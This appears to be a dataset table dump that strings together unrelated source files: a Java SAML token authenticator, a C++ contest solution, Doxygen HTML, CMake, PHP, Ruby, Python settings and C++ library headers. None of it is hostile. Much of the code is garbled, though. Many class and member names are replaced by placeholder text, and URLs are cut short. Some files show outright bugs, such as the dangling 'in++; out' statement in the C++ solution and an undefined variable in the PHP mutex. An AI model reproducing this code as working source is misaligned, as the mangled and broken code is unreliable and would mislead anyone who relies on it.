answer
stringlengths 15
1.25M
|
|---|
package com.sirma.itt.emf.authentication.sso.saml.authenticator;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import javax.crypto.SecretKey;
import javax.enterprise.inject.Instance;
import javax.inject.Inject;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.joda.time.DateTime;
import org.joda.time.DateTimeZone;
import com.sirma.itt.emf.authentication.sso.saml.<API key>;
import com.sirma.itt.seip.configuration.SystemConfiguration;
import com.sirma.itt.seip.idp.config.IDPConfiguration;
import com.sirma.itt.seip.plugin.Extension;
import com.sirma.itt.seip.security.User;
import com.sirma.itt.seip.security.authentication.<API key>;
import com.sirma.itt.seip.security.authentication.Authenticator;
import com.sirma.itt.seip.security.configuration.<API key>;
import com.sirma.itt.seip.security.context.SecurityContext;
import com.sirma.itt.seip.security.util.SecurityUtil;
import com.sirma.itt.seip.util.EqualsHelper;
/**
* Th <API key> is responsible to login system users only using a generated token.
*
* @author bbanchev
*/
@Extension(target = Authenticator.NAME, order = 20)
public class <API key> extends <API key> {
@Inject
private Instance<<API key>> <API key>;
@Inject
private IDPConfiguration idpConfiguration;
@Inject
private <API key> <API key>;
@Inject
private SystemConfiguration systemConfiguration;
@Override
public User authenticate(<API key> <API key>) {
return null;
}
@Override
public Object authenticate(User toAuthenticate) {
return authenticateById(toAuthenticate, toAuthenticate.getIdentityId());
}
private Object authenticateById(User toAuthenticate, final String username) {
if (StringUtils.isBlank(username)) {
return null;
}
String userSimpleName = SecurityUtil.<API key>(username);
if (isSystemUser(userSimpleName) || isSystemAdmin(userSimpleName)) {
return <API key>(toAuthenticate,
createToken(username, <API key>.get().getCryptoKey().get()));
}
return null;
}
@SuppressWarnings("static-method")
protected boolean isSystemAdmin(String userSimpleName) {
return EqualsHelper.nullSafeEquals(SecurityContext.getSystemAdminName(), userSimpleName, true);
}
protected boolean isSystemUser(String userSimpleName) {
return EqualsHelper.nullSafeEquals(userSimpleName,
SecurityUtil.<API key>(SecurityContext.SYSTEM_USER_NAME), true);
}
@Override
protected void <API key>(User authenticated, SAMLTokenInfo info, Map<String, String> processedToken) {
authenticated.getProperties().putAll(processedToken);
}
/**
* Creates a token for given user.
*
* @param user
* the user to create for
* @param secretKey
* is the encrypt key for saml token
* @return the saml token
*/
protected byte[] createToken(String user, SecretKey secretKey) {
return Base64.encodeBase64(SecurityUtil.encrypt(
createResponse(systemConfiguration.getSystemAccessUrl().getOrFail().toString(),
<API key>.getIssuerId().get(), idpConfiguration.getIdpServerURL().get(), user),
secretKey));
}
/**
* Creates the response for authentication in DMS. The time should be synchronized
*
* @param assertionUrl
* the alfresco url
* @param audianceUrl
* the audiance url
* @param samlURL
* the saml url
* @param user
* the user to authenticate
* @return the resulted saml2 message
*/
@SuppressWarnings("static-method")
protected byte[] createResponse(String assertionUrl, String audianceUrl, String samlURL, String user) {
DateTime now = new DateTime(DateTimeZone.UTC);
DateTime barrier = now.plusMinutes(10);
StringBuilder saml = new StringBuilder(2048);
saml.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
.append("<saml2p:Response ID=\"<API key>\" IssueInstant=\"").append(now)
.append("\" Version=\"2.0\" xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\">")
.append("<saml2p:Status>")
.append("<saml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/>")
.append("</saml2p:Status>")
.append("<saml2:Assertion ID=\"<API key>\" IssueInstant=\"").append(now)
.append("\" Version=\"2.0\" xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">")
.append("<saml2:Issuer Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\">").append(samlURL)
.append("</saml2:Issuer>").append("<saml2:Subject>").append("<saml2:NameID>").append(user)
.append("</saml2:NameID>")
.append("<saml2:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\">")
.append("<saml2:<API key> InResponseTo=\"0\" NotOnOrAfter=\"").append(barrier)
.append("\" Recipient=\"").append(assertionUrl).append("\"/>").append("</saml2:SubjectConfirmation>")
.append("</saml2:Subject>").append("<saml2:Conditions NotBefore=\"").append(now)
.append("\" NotOnOrAfter=\"").append(barrier).append("\">").append("<saml2:AudienceRestriction>")
.append("<saml2:Audience>").append(audianceUrl).append("</saml2:Audience>")
.append("</saml2:AudienceRestriction>").append("</saml2:Conditions>")
.append("<saml2:AuthnStatement AuthnInstant=\"").append(now).append("\">")
.append("<saml2:AuthnContext>")
.append("<saml2:<API key>>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml2:<API key>>")
.append("</saml2:AuthnContext>").append("</saml2:AuthnStatement>").append("</saml2:Assertion>")
.append("</saml2p:Response>");
return saml.toString().getBytes(StandardCharsets.UTF_8);
}
}
|
#include <cstdio>
#include <iostream>
#include <vector>
#include <cstring>
#include <cstdlib>
#include <cmath>
using namespace std;
#define DEBUG
#undef DEBUG //uncomment this line to pull out print statements
#ifdef DEBUG
#define TAB '\t'
#define debug(a, end) cout << #a << ": " << a << end
#else
#define debug(a, end)
#endif
typedef pair<int, int> point;
typedef long long int64; //for clarity
typedef vector<int> vi;
typedef vector<point> vp;
template<class T> void chmin(T &t, T f) { if (t > f) t = f; } //change min
template<class T> void chmax(T &t, T f) { if (t < f) t = f; } //change max
#define UN(v) SORT(v),v.erase(unique(v.begin(),v.end()),v.end())
#define SORT(c) sort((c).begin(),(c).end())
#define FOR(i,a,b) for (int i=(a); i < (b); i++)
#define REP(i,n) FOR(i,0,n)
#define CL(a,b) memset(a,b,sizeof(a))
#define CL2d(a,b,x,y) memset(a, b, sizeof(a[0][0])*x*y)
/*global variables*/
bool first_time = true;
const double PI = acos(-1.0);
int n;
/*global variables*/
void dump()
{
//dump data
}
bool getInput()
{
//get input
if (scanf("%d\n", &n) == EOF) return false;
if (!first_time) printf("\n");
else first_time = false;
return true;
}
bool in_circle(const point& x, double radius)
{
double y = (x.first*x.first + x.second*x.second);
if (y < (radius*radius))
{ debug(y, TAB); debug(radius, endl); }
return y <= (radius*radius);
}
void process()
{
//process input
//int t = (int)ceil(((2*n-1)*(2*n-1))/4*PI)/4;
double r = (double)(2*n-1)/2;
int in = 0, out = 0;
point x;
REP(i, n)
{
REP(j, n)
{
x.first = i;
x.second = j; //top left
if (in_circle(x, r))
{
debug("contained segment", endl);
out++;
x.first = i+1;
x.second = j+1; //bottom right
if (in_circle(x, r))
{
debug("fully in", endl);
in++; out
}
}
}
}
printf("In the case n = %d, %d cells contain segments of the circle.\n", n, out*4);
printf("There are %d cells completely contained in the circle.\n", in*4);
}
int main()
{
while (getInput())
{
process();
/*output*/
/*output*/
}
return 0;
}
|
<!DOCTYPE html PUBLIC "-
<html xmlns="http:
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>BlueViaAndroidSDK: <API key> Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css"/>
</head>
<body onload='searchBox.OnSelectItem(0);'>
<!-- Generated by Doxygen 1.7.3 -->
<script type="text/javascript"><!
var searchBox = new SearchBox("searchBox", "search",false,'Search');
--></script>
<div id="top">
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">BlueViaAndroidSDK <span id="projectnumber">1.6</span></div>
</td>
</tr>
</tbody>
</table>
</div>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li id="searchli">
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html','');
</script>
<div id="doc-content">
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> </div>
<div class="headertitle">
<h1><API key> Class Reference</h1> </div>
</div>
<div class="contents">
<!-- doxytag: class="com::bluevia::android::directory::parser::<API key>" --><!-- doxytag: inherits="com::bluevia::android::directory::parser::<API key>" --><div class="dynheader">
Inheritance diagram for <API key>:</div>
<div class="dyncontent">
<div class="center">
<img src="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.png" usemap="#<API key>" alt=""/>
<map id="<API key>" name="<API key>">
<area href="interfacecom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1DirectoryEntityParser.html" alt="<API key>" shape="rect" coords="0,0,195,24"/>
</map>
</div></div>
<p><a href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser-members.html">List of all members.</a></p>
<table class="memberdecls">
<tr><td colspan="2"><h2><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr><td class="memItemLeft" align="right" valign="top"><a class="el" href="<API key>.html">PersonalInfo</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html#<API key>">parse</a> (XmlPullParser parser) throws ParseException </td></tr>
</table>
<hr/><a name="_details"></a><h2>Detailed Description</h2>
<div class="textblock"><p>Xml parser for <a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html"><API key></a> entities.</p>
<dl class="author"><dt><b>Author:</b></dt><dd>Telefonica I+D </dd></dl>
</div><hr/><h2>Member Function Documentation</h2>
<a class="anchor" id="<API key>"></a><!-- doxytag: member="com::bluevia::android::directory::parser::<API key>::parse" ref="<API key>" args="(XmlPullParser parser)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="<API key>.html">PersonalInfo</a> parse </td>
<td>(</td>
<td class="paramtype">XmlPullParser </td>
<td class="paramname"><em>parser</em></td><td>)</td>
<td> throws <a class="el" href="<API key>.html">ParseException</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>Parse the next entry on the parser </p>
<dl><dt><b>Parameters:</b></dt><dd>
<table class="params">
<tr><td class="paramname">parser</td><td>is the parser with the entity information </td></tr>
</table>
</dd>
</dl>
<dl class="return"><dt><b>Returns:</b></dt><dd>the <a class="el" href="<API key>.html">Entity</a> object </dd></dl>
<dl><dt><b>Exceptions:</b></dt><dd>
<table class="exception">
<tr><td class="paramname">ParseException</td><td>when an error occurs converting the stream into an object </td></tr>
<tr><td class="paramname">IOException</td><td>when an error reading the stream occurs </td></tr>
</table>
</dd>
</dl>
<p>Implements <a class="el" href="interfacecom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1DirectoryEntityParser.html#<API key>"><API key></a>.</p>
</div>
</div>
</div>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>com</b> </li>
<li class="navelem"><b>bluevia</b> </li>
<li class="navelem"><b>android</b> </li>
<li class="navelem"><b>directory</b> </li>
<li class="navelem"><b>parser</b> </li>
<li class="navelem"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html"><API key></a> </li>
<li class="footer">Generated on Fri May 11 2012 13:19:19 for BlueViaAndroidSDK by 
<a href="http:
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.3 </li>
</ul>
</div>
<!--- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Enumerations</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="<API key>">
<iframe src="" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
</body>
</html>
|
#ifndef <API key>
#define <API key>
#include "sqsresponse_p.h"
namespace QtAws {
namespace SqsOld {
class <API key>;
class <API key> : public SqsResponsePrivate {
public:
QString queueUrl; ///< Created queue URL.
<API key>(<API key> * const q);
void <API key>(QXmlStreamReader &xml);
private:
Q_DECLARE_PUBLIC(<API key>)
Q_DISABLE_COPY(<API key>)
};
} // namespace SqsOld
} // namespace QtAws
#endif
|
class WeavingType < ActiveRecord::Base
<API key> :<API key> => true
has_many :weavings
belongs_to :user
<API key> :name
<API key> :name
end
|
package net.sf.dynamicreports.examples.complex.applicationform;
/**
* @author Ricardo Mariaca (dynamicreports@gmail.com)
*/
public enum MaritalStatus {
SINGLE,
MARRIED,
DIVORCED
}
|
<?php
if (file_exists('../libcompactmvc.php'))
include_once ('../libcompactmvc.php');
LIBCOMPACTMVC_ENTRY;
class Mutex {
private $key;
private $token;
private $delay;
private $maxwait;
public function __construct($key) {
$this->key = $key;
$this->token = md5(microtime() . rand(0, 99999999));
$this->delay = 2;
$this->register();
}
public function __destruct() {
$this->unregister();
}
public function lock($maxwait = 60) {
echo ("Lock\n");
$start = time();
$this->maxwait = $maxwait;
while (time() < $start + $maxwait) {
if (count($this->get_requests()) == 0) {
$this->set_request();
// usleep($this->delay * 5000);
if (count($this->get_requests()) == 1) {
if (count($this->get_acks()) + 1 == count($this->get_registrations())) {
return;
}
}
}
if (count($this->get_requests()) == 1) {
if (!$this->is_ack_set() && !$this->is_request_set()) {
$this->set_ack();
}
}
if (count($this->get_requests()) > 1) {
echo ("Increasing delay: " . $this->delay . "\n");
$this->delay += 1;
}
$this->unlock();
usleep(rand(0, $this->delay * 500));
}
throw new MutexException("max wait time elapsed", 500);
}
public function unlock() {
echo ("UnLock\n");
foreach ($this->get_acks() as $ack) {
echo ("Deleting " . $ack . "\n");
RedisAdapter::get_instance()->delete($ack, false);
}
foreach ($this->get_requests() as $request) {
echo ("Deleting " . $request . "\n");
RedisAdapter::get_instance()->delete($request, false);
}
}
private function register() {
echo ("Registering " . REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token, 1, false);
RedisAdapter::get_instance()->expire(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $elem->token, $this->maxwait);
}
private function unregister() {
echo ("Unregistering " . REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token, false);
}
private function get_registrations() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_*", false);
}
private function set_request() {
echo ("Setting request " . REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false);
}
private function del_request() {
echo ("Deleting request " . REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false);
}
private function get_requests() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_*", false);
}
private function is_request_set() {
return (RedisAdapter::get_instance()->get(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false) != null);
}
private function set_ack() {
echo ("Set ACK " . REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false);
}
private function del_ack() {
echo ("Del ACK " . REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false);
}
private function get_acks() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_*", false);
}
private function is_ack_set() {
return (RedisAdapter::get_instance()->get(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false) != null);
}
}
|
if (WIN32)
if (MSVC71)
set (COMPILER_SUFFIX "vc71")
set (<API key> "71")
endif(MSVC71)
if (MSVC80)
set (COMPILER_SUFFIX "vc80")
set (<API key> "80")
endif(MSVC80)
if (MSVC90)
set (COMPILER_SUFFIX "vc90")
set (<API key> "90")
endif(MSVC90)
if (MSVC10)
set (COMPILER_SUFFIX "vc100")
set (<API key> "100")
endif(MSVC10)
if (MSVC11)
set (COMPILER_SUFFIX "vc110")
set (<API key> "110")
endif(MSVC11)
if (MSVC12)
set (COMPILER_SUFFIX "vc120")
set (<API key> "120")
endif(MSVC12)
if (MSVC14)
set (COMPILER_SUFFIX "vc141")
set (<API key> "141")
endif(MSVC14)
if (MSVC15)
set (COMPILER_SUFFIX "vc141")
set (<API key> "141")
endif(MSVC15)
endif (WIN32)
if (UNIX)
if (<API key>)
#find out the version of gcc being used.
exec_program(${CMAKE_CXX_COMPILER}
ARGS --version
OUTPUT_VARIABLE _COMPILER_VERSION
)
string(REGEX REPLACE ".* ([0-9])\\.([0-9])\\.[0-9].*" "\\1\\2" _COMPILER_VERSION ${_COMPILER_VERSION})
set (COMPILER_SUFFIX "gcc${_COMPILER_VERSION}")
#set (COMPILER_SUFFIX "")
endif (<API key>)
endif(UNIX)
if (COMPILER_SUFFIX STREQUAL "")
message(FATAL_ERROR "schism_compiler.cmake: unable to identify supported compiler")
else (COMPILER_SUFFIX STREQUAL "")
set(COMPILER_SUFFIX ${COMPILER_SUFFIX} CACHE STRING "The boost style compiler suffix")
endif (COMPILER_SUFFIX STREQUAL "")
|
#include "core/ActionAtomistic.h"
#include "core/ActionPilot.h"
#include "core/ActionRegister.h"
#include "tools/File.h"
#include "core/PlumedMain.h"
#include "core/Atoms.h"
namespace PLMD
{
namespace generic {
//+PLUMEDOC PRINTANALYSIS DUMPMASSCHARGE
/*
Dump masses and charges on a selected file.
This command dumps a file containing charges and masses.
It does so only once in the simulation (at first step).
File can be recycled in the \ref driver tool.
Notice that masses and charges are only written once at the beginning
of the simulation. In case no atom list is provided, charges and
masses for all atoms are written.
\par Examples
You can add the DUMPMASSCHARGE action at the end of the plumed.dat
file that you use during an MD simulations:
\plumedfile
c1: COM ATOMS=1-10
c2: COM ATOMS=11-20
DUMPATOMS ATOMS=c1,c2 FILE=coms.xyz STRIDE=100
DUMPMASSCHARGE FILE=mcfile
\endplumedfile
In this way, you will be able to use the same masses while processing
a trajectory from the \ref driver . To do so, you need to
add the --mc flag on the driver command line, e.g.
\verbatim
plumed driver --mc mcfile --plumed plumed.dat --ixyz traj.xyz
\endverbatim
With the following input you can dump only the charges for a specific
group.
\plumedfile
solute_ions: GROUP ATOMS=1-121,200-2012
DUMPATOMS FILE=traj.gro ATOMS=solute_ions STRIDE=100
DUMPMASSCHARGE FILE=mcfile ATOMS=solute_ions
\endplumedfile
Notice however that if you want to process the charges
with the driver (e.g. reading traj.gro) you have to fix atom
numbers first, e.g. with the script
\verbatim
awk 'BEGIN{c=0}{
if(match($0,"#")) print ; else {print c,$2,$3; c++}
}' < mc > newmc
}'
\endverbatim
then
\verbatim
plumed driver --mc newmc --plumed plumed.dat --ixyz traj.gro
\endverbatim
*/
//+ENDPLUMEDOC
class DumpMassCharge:
public ActionAtomistic,
public ActionPilot
{
std::string file;
bool first;
bool second;
bool print_masses;
bool print_charges;
public:
explicit DumpMassCharge(const ActionOptions&);
~DumpMassCharge();
static void registerKeywords( Keywords& keys );
void prepare() override;
void calculate() override {}
void apply() override {}
void update() override;
};
<API key>(DumpMassCharge,"DUMPMASSCHARGE")
void DumpMassCharge::registerKeywords( Keywords& keys ) {
Action::registerKeywords( keys );
ActionPilot::registerKeywords( keys );
ActionAtomistic::registerKeywords( keys );
keys.add("compulsory","STRIDE","1","the frequency with which the atoms should be output");
keys.add("atoms", "ATOMS", "the atom indices whose charges and masses you would like to print out");
keys.add("compulsory", "FILE", "file on which to output charges and masses.");
keys.addFlag("ONLY_MASSES",false,"Only output masses to file");
keys.addFlag("ONLY_CHARGES",false,"Only output charges to file");
}
DumpMassCharge::DumpMassCharge(const ActionOptions&ao):
Action(ao),
ActionAtomistic(ao),
ActionPilot(ao),
first(true),
second(true),
print_masses(true),
print_charges(true)
{
std::vector<AtomNumber> atoms;
parse("FILE",file);
if(file.length()==0) error("name of output file was not specified");
log.printf(" output written to file %s\n",file.c_str());
parseAtomList("ATOMS",atoms);
if(atoms.size()==0) {
for(int i=0; i<plumed.getAtoms().getNatoms(); i++) {
atoms.push_back(AtomNumber::index(i));
}
}
bool only_masses = false;
parseFlag("ONLY_MASSES",only_masses);
if(only_masses) {
print_charges = false;
log.printf(" only masses will be written to file\n");
}
bool only_charges = false;
parseFlag("ONLY_CHARGES",only_charges);
if(only_charges) {
print_masses = false;
log.printf(" only charges will be written to file\n");
}
checkRead();
log.printf(" printing the following atoms:" );
for(unsigned i=0; i<atoms.size(); ++i) log.printf(" %d",atoms[i].serial() );
log.printf("\n");
requestAtoms(atoms);
if(only_masses && only_charges) {
plumed_merror("using both ONLY_MASSES and ONLY_CHARGES doesn't make sense");
}
}
void DumpMassCharge::prepare() {
if(!first && second) {
requestAtoms(std::vector<AtomNumber>());
second=false;
}
}
void DumpMassCharge::update() {
if(!first) return;
first=false;
OFile of;
of.link(*this);
of.open(file);
for(unsigned i=0; i<getNumberOfAtoms(); i++) {
int ii=getAbsoluteIndex(i).index();
of.printField("index",ii);
if(print_masses) {of.printField("mass",getMass(i));}
if(print_charges) {of.printField("charge",getCharge(i));}
of.printField();
}
}
DumpMassCharge::~DumpMassCharge() {
}
}
}
|
" Settings for tests. "
from settings.project import *
# Databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': ':memory:',
'USER': '',
'PASSWORD': '',
'TEST_CHARSET': 'utf8',
}}
# Caches
CACHES['default']['BACKEND'] = 'django.core.cache.backends.locmem.LocMemCache'
CACHES['default']['KEY_PREFIX'] = '_'.join((PROJECT_NAME, 'TST'))
# pymode:lint_ignore=W404
|
// This program is free software: you can redistribute it and/or modify
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#ifndef <API key>
#define <API key>
#include <tsbe/thread_pool.hpp>
#include <tsbe_impl/common_impl.hpp>
#include <vector>
#include <queue>
#include <iostream>
namespace tsbe
{
//! ElementImpl is both a topology and a block to allow interconnection
struct ElementImpl
{
ElementImpl(void)
{
//NOP
}
~ElementImpl(void)
{
this->actor.reset();
}
bool block;
bool is_block(void)
{
return block;
}
boost::shared_ptr<Actor> actor;
boost::shared_ptr<Theron::Framework> framework;
ThreadPool thread_pool;
};
} //namespace tsbe
#endif /*<API key>*/
|
package org.molgenis.lifelines.catalog;
import nl.umcg.hl7.service.studydefinition.<API key>;
import org.molgenis.omx.catalogmanager.OmxCatalogFolder;
import org.molgenis.omx.observ.Protocol;
public class <API key> extends OmxCatalogFolder
{
private final <API key> observation;
public <API key>(<API key> observation, Protocol protocol)
{
super(protocol);
if (observation == null) throw new <API key>("observation is null");
this.observation = observation;
}
@Override
public String getName()
{
return observation.getCode().getDisplayName();
}
@Override
public String getDescription()
{
return observation.getCode().getOriginalText().getContent().toString();
}
@Override
public String getCode()
{
return observation.getCode().getCode();
}
@Override
public String getCodeSystem()
{
return observation.getCode().getCodeSystem();
}
}
|
package org.sonar.lua.checks;
import org.junit.Test;
import org.sonar.lua.LuaAstScanner;
import org.sonar.squidbridge.api.SourceFile;
import org.sonar.squidbridge.checks.<API key>;
import org.sonar.squidbridge.api.SourceFunction;
import java.io.File;
public class <API key> {
@Test
public void test() {
<API key> check = new <API key>();
check.<API key>(0);
SourceFile file = LuaAstScanner.scanSingleFile(new File("src/test/resources/checks/tableComplexity.lua"), check);
<API key>.verify(file.getCheckMessages())
.next().atLine(1).withMessage("Table has a complexity of 1 which is greater than 0 authorized.")
.noMore();
}
}
|
#ifndef PIRE_PARTITION_H
#define PIRE_PARTITION_H
#include "stub/stl.h"
#include "stub/singleton.h"
namespace Pire {
/*
* A class which forms a disjoint set of pairwise equivalent items,
* depending on given equivalence relation.
*/
template<class T, class Eq>
class Partition {
private:
typedef ymap< T, ypair< size_t, yvector<T> > > Set;
public:
Partition(const Eq& eq)
: m_eq(eq)
, m_maxidx(0)
{
}
Appends a new item into partition, creating new equivalience class if neccessary.
void Append(const T& t) {
DoAppend(m_set, t);
}
typedef typename Set::const_iterator ConstIterator;
ConstIterator Begin() const {
return m_set.begin();
}
ConstIterator End() const {
return m_set.end();
}
size_t Size() const {
return m_set.size();
}
bool Empty() const {
return m_set.empty();
}
Returns an item equal to @p t. It is guaranteed that:
- representative(a) equals representative(b) iff a is equivalent to b;
- representative(a) is equivalent to a.
const T& Representative(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it != m_inv.end())
return it->second;
else
return DefaultValue<T>();
}
bool Contains(const T& t) const
{
return m_inv.find(t) != m_inv.end();
}
Returns an index of set containing @p t. It is guaranteed that:
- index(a) equals index(b) iff a is equivalent to b;
- 0 <= index(a) < size().
size_t Index(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it == m_inv.end())
throw Error("Partition::index(): attempted to obtain an index of nonexistent item");
typename Set::const_iterator it2 = m_set.find(it->second);
YASSERT(it2 != m_set.end());
return it2->second.first;
}
Returns the whole equivalence class of @p t (i.e. item @p i
is returned iff representative(i) == representative(t)).
const yvector<T>& Klass(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it == m_inv.end())
throw Error("Partition::index(): attempted to obtain an index of nonexistent item");
ConstIterator it2 = m_set.find(it->second);
YASSERT(it2 != m_set.end());
return it2->second.second;
}
bool operator == (const Partition& rhs) const { return m_set == rhs.m_set; }
bool operator != (const Partition& rhs) const { return !(*this == rhs); }
Splits the current sets into smaller ones, using given equivalence relation.
Requires given relation imply previous one (set either in ctor or
in preceeding calls to split()), but performs faster.
Replaces previous relation with given one.
void Split(const Eq& eq)
{
m_eq = eq;
for (typename Set::iterator sit = m_set.begin(), sie = m_set.end(); sit != sie; ++sit)
if (sit->second.second.size() > 1) {
yvector<T>& v = sit->second.second;
typename yvector<T>::iterator bound = std::partition(v.begin(), v.end(), std::bind2nd(m_eq, v[0]));
if (bound == v.end())
continue;
Set delta;
for (typename yvector<T>::iterator it = bound, ie = v.end(); it != ie; ++it)
DoAppend(delta, *it);
v.erase(bound, v.end());
m_set.insert(delta.begin(), delta.end());
}
}
private:
Eq m_eq;
Set m_set;
ymap<T, T> m_inv;
size_t m_maxidx;
void DoAppend(Set& set, const T& t)
{
typename Set::iterator it = set.begin();
typename Set::iterator end = set.end();
for (; it != end; ++it)
if (m_eq(it->first, t)) {
it->second.second.push_back(t);
m_inv[t] = it->first;
break;
}
if (it == end) {
// Begin new set
yvector<T> v(1, t);
set.insert(ymake_pair(t, ymake_pair(m_maxidx++, v)));
m_inv[t] = t;
}
}
};
// Mainly for debugging
template<class T, class Eq>
yostream& operator << (yostream& stream, const Partition<T, Eq>& partition)
{
stream << "Partition {\n";
for (typename Partition<T, Eq>::ConstIterator it = partition.Begin(), ie = partition.End(); it != ie; ++it) {
stream << " Class " << it->second.first << " \"" << it->first << "\" { ";
bool first = false;
for (typename yvector<T>::const_iterator iit = it->second.second.begin(), iie = it->second.second.end(); iit != iie; ++iit) {
if (first)
stream << ", ";
else
first = true;
stream << *iit;
}
stream << " }\n";
}
stream << "}";
return stream;
}
}
#endif
|
